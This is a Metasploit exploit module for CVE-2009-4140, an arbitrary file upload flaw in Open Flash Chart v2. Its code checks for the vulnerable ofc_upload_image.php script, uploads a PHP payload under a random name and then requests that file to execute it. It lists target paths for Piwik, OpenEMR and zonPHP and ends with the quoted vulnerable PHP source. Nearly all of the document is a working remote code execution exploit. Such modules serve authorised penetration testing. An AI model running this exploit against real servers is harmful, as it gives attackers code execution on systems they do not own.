##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Open Flash Chart v2 Arbitrary File Upload",
      'Description'    => %q{
          This module exploits a file upload vulnerability found in Open Flash
        Chart version 2. Attackers can abuse the 'ofc_upload_image.php' file
        in order to upload and execute malicious PHP files.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Braeden Thomas', # Initial discovery + Piwik PoC
          'Gjoko Krstic <gjoko[at]zeroscience.mk>', # OpenEMR PoC
          'Halim Cruzito', # zonPHP PoC
          'bcoles' # Metasploit
        ],
      'References'     =>
        [
          ['BID',   '37314'],
          ['CVE',   '2009-4140'],
          ['OSVDB', '59051'],
          ['EDB',   '10532'],
          ['WPVDB', '6787'],
          ['WPVDB', '6788'],
          ['WPVDB', '6789'],
          ['WPVDB', '6790'],
          ['WPVDB', '6791'],
          ['WPVDB', '6792']
        ],
      'Payload'        =>
        {
            'Space'       => 8190, # Just a big value, injection on HTTP POST
            'DisableNops' => true,
            'BadChars'    => "\x00"
        },
      'Arch'           => ARCH_PHP,
      'Platform'       => 'php',
      'Targets'        =>
        [
          # Tested on:
          # * open-flash-chart v2-Lug-Wyrm-Charmer
          #   set TARGETURI /php-ofc-library/
          # * open-flash-chart v2-beta-1
          #   set TARGETURI /php-ofc-library/
          # * zonPHP v2.25
          #   set TARGETURI /zonPHPv225/ofc/
          # * Piwik v0.4.3
          #   set TARGETURI /piwik/libs/open-flash-chart/php-ofc-library/
          # * OpenEMR v4.1.1
          #   set TARGETURI /openemr-4.1.1/library/openflashchart/php-ofc-library/
          [ 'Generic (PHP Payload)', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Dec 14 2009',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to Open Flash Chart', '/php-ofc-library/'])
        ])
  end

  #
  # Check for ofc_upload_image.php
  #
  def check
    print_status("Sending check")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, "ofc_upload_image.php"),
    })
    if not res
      vprint_error("Connection timed out")
      return Exploit::CheckCode::Unknown
    elsif res.code.to_i == 404
      vprint_error("No ofc_upload_image.php found")
    elsif res and res.code == 200 and res.body =~ /Saving your image to/
      vprint_status("Found ofc_upload_image.php")
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit

    # Upload
    @fname = "#{rand_text_alphanumeric(rand(10)+6)}.php"
    print_status("Uploading '#{@fname}' (#{payload.encoded.length} bytes)...")
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, 'ofc_upload_image.php'),
      'ctype'    => "",
      'vars_get' => { 'name' => "#{@fname}" },
      'data'     => "<?php #{payload.encoded} ?>"
    })
    if not res
      fail_with(Failure::Unknown,  "#{peer} - Request timed out while uploading")
    elsif res.code.to_i == 404
      fail_with(Failure::NotFound, "#{peer} - No ofc_upload_image.php found")
    elsif res.body =~ /can't write file/
      fail_with(Failure::Unknown,  "#{peer} - Unable to write '#{@fname}'")
    elsif res.body =~ /Saving your image to: (.+)#{@fname}/
      path = $1
      register_files_for_cleanup(@fname)
      print_status("Executing '#{path}#{@fname}'")
    else
      fail_with(Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!")
    end

    # Execute
    res = send_request_raw({
      'uri' => normalize_uri(target_uri.path, path, @fname)
    })
    if res and res.code == 404
      fail_with(Failure::NotFound, "#{peer} - Not found: #{@fname}")
    end

  end
end

#
# Source
#
=begin ofc_upload_image.php
20-// default path for the image to be stored //
21-$default_path = '../tmp-upload-images/';

23-if (!file_exists($default_path)) mkdir($default_path, 0777, true);

25-// full path to the saved image including filename //
26-$destination = $default_path . basename( $_GET[ 'name' ] );

28-echo 'Saving your image to: '. $destination;

39-$jfh = fopen($destination, 'w') or die("can't open file");
40-fwrite($jfh, $HTTP_RAW_POST_DATA);
41-fclose($jfh);
=end
